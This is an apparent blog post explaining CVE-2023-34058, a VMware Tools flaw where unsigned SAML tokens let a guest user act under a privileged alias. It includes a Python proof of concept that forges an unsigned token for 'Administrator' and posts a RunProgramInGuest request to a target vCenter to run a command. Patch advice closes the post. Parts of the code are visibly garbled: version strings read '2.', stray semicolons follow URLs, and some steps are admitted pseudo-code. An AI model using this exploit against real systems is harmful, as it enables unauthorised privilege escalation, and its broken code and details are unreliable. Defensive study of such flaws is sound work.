CVE-2023-34058 - Exploiting VMware Tools SAML Token Signature Bypass for Privilege Escalation
VMware Tools is a critical suite that runs in almost every VMware virtual machine for seamless integration and performance. But with power comes responsibility, and sometimes—vulnerabilities. In late 2023, a significant flaw was publicly disclosed: CVE-2023-34058. This vulnerability allows privilege escalation through a SAML token signature bypass, under the right (and unfortunately, not-too-rare) conditions.
This post breaks down the vulnerability, explores how it works, and provides original references. We’ll also cover a proof-of-concept exploit to help defenders understand what’s at stake.
What’s CVE-2023-34058?
In plain terms:
If an attacker already has Guest Operation Privileges inside a virtual machine, and VMware Tools is installed and configured with a more privileged Guest Alias role, the attacker can “trick” VMware Tools into giving them super-user capabilities.
The root cause? VMware Tools fails to properly verify SAML (Security Assertion Markup Language) token signatures used in the guest invocation API. So, a crafty user with basic privileges can forge a token saying, “Hey, I’m an admin here—let me do dangerous stuff!” And VMware Tools, without due diligence, says “Sure” and grants access.
- VMware Security Advisory (VMSA-2023-0026)
1. Guest Operation Privileges
These are permissions that let users inside a VM perform operations using VMware Tools APIs—things like file transfers or executing commands.
- VMware Guest Operations Docs
2. Guest Alias
A "Guest Alias" is essentially a mapping between a vSphere user and privileged OS-level identities within VMs, managed by VMware’s AliasManager:
- Alias Management API Reference
When a VM is set up with Guest Alias, a regular user on vCenter can (if given the right mapped alias) act as an administrator within the guest, via authenticated SAML tokens.
3. The SAML Token Bypass
SAML tokens are digital “ID badges.” They’re supposed to be cryptographically signed, so only trusted issuers can produce valid ones, and VMware Tools should verify that signature before doing anything risky.
In CVE-2023-34058, the signature check can be bypassed. That means attackers can forge their own tokens and the system just trusts them.
Understanding the Attack: Step-by-Step
Scenario:
You’re a malicious VM guest user with guest operation privileges.
- The VM you’re on is set up with a “Guest Alias” mapping to a much more privileged account (like root or Administrator).
Prepare a fake SAML token that asserts you are the privileged alias identity.
2. Submit this token to the VMware Tools guest operations API (such as running a command or transferring files).
PoC Exploit: Forging a SAML Token
Let’s look at an illustrative example in Python to show how an attacker could generate a tampered SAML token and use it in an API request.
*Note: This is an educational sample – do not use it on systems you don’t own!*
import requests
import base64
import xml.etree.ElementTree as ET
# Step 1: Generate a fake SAML assertion
def forge_saml(username):
saml_xml = f'''
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.:assertion" ID="fakeid" IssueInstant="2024-06-15T12:00:00Z" Version="2.">
<saml:Subject>
<saml:NameID>{username}</saml:NameID>
</saml:Subject>
<!-- Here you'd normally include a Signature element -->
</saml:Assertion>
'''
return base64.b64encode(saml_xml.encode()).decode()
# Step 2: Use the token with VMware Tools API (e.g., guest Op)
FAKE_ADMIN = "Administrator"
saml_token = forge_saml(FAKE_ADMIN)
# Step 3: Prepare the API request
api_url = "https://victim-vcenter/sdk/vimService";
headers = {
"Content-Type": "application/xml",
"Authorization": f"SAML {saml_token}"
}
# Example: trying to execute a privileged command (pseudo-code)
payload = f'''
<env:Envelope xmlns:env="http://schemas.xmlsoap.org/soap/envelope/">;
<env:Body>
<RunProgramInGuest xmlns="urn:vim25">
<!-- insert required VM/vCenter references -->
<username>{FAKE_ADMIN}</username>
<password>doesntmatter</password>
<programPath>C:\\Windows\\System32\\cmd.exe</programPath>
<arguments>/c whoami > C:\\pwned.txt</arguments>
</RunProgramInGuest>
</env:Body>
</env:Envelope>
'''
response = requests.post(api_url, data=payload, headers=headers, verify=False)
print(response.status_code, response.text)
What happens:
If the target VM is vulnerable, the API executes your command under the alias (“Administrator”)—even if you’re a low-privilege user!
Mitigation
VMware has patched this vulnerability in newer versions of VMware Tools.
- Upgrade VMware Tools to at least 12.2.5 or 11.3.5 (depending on your platform). See VMware’s Official Bulletin.
Further Reading
- VMware VMSA-2023-0026 Advisory
- Official VMware SAML/Token Library Docs
- AliasManager Class Reference
Conclusion
CVE-2023-34058 is a textbook example of how a missed signature validation in a trusted service can lead to serious privilege escalation. Virtual infrastructure teams must be vigilant in keeping tools patched and carefully controlling guest permissions.
Timeline
Published on: 10/27/2023 05:15:38 UTC
Last modified on: 11/17/2023 05:15:12 UTC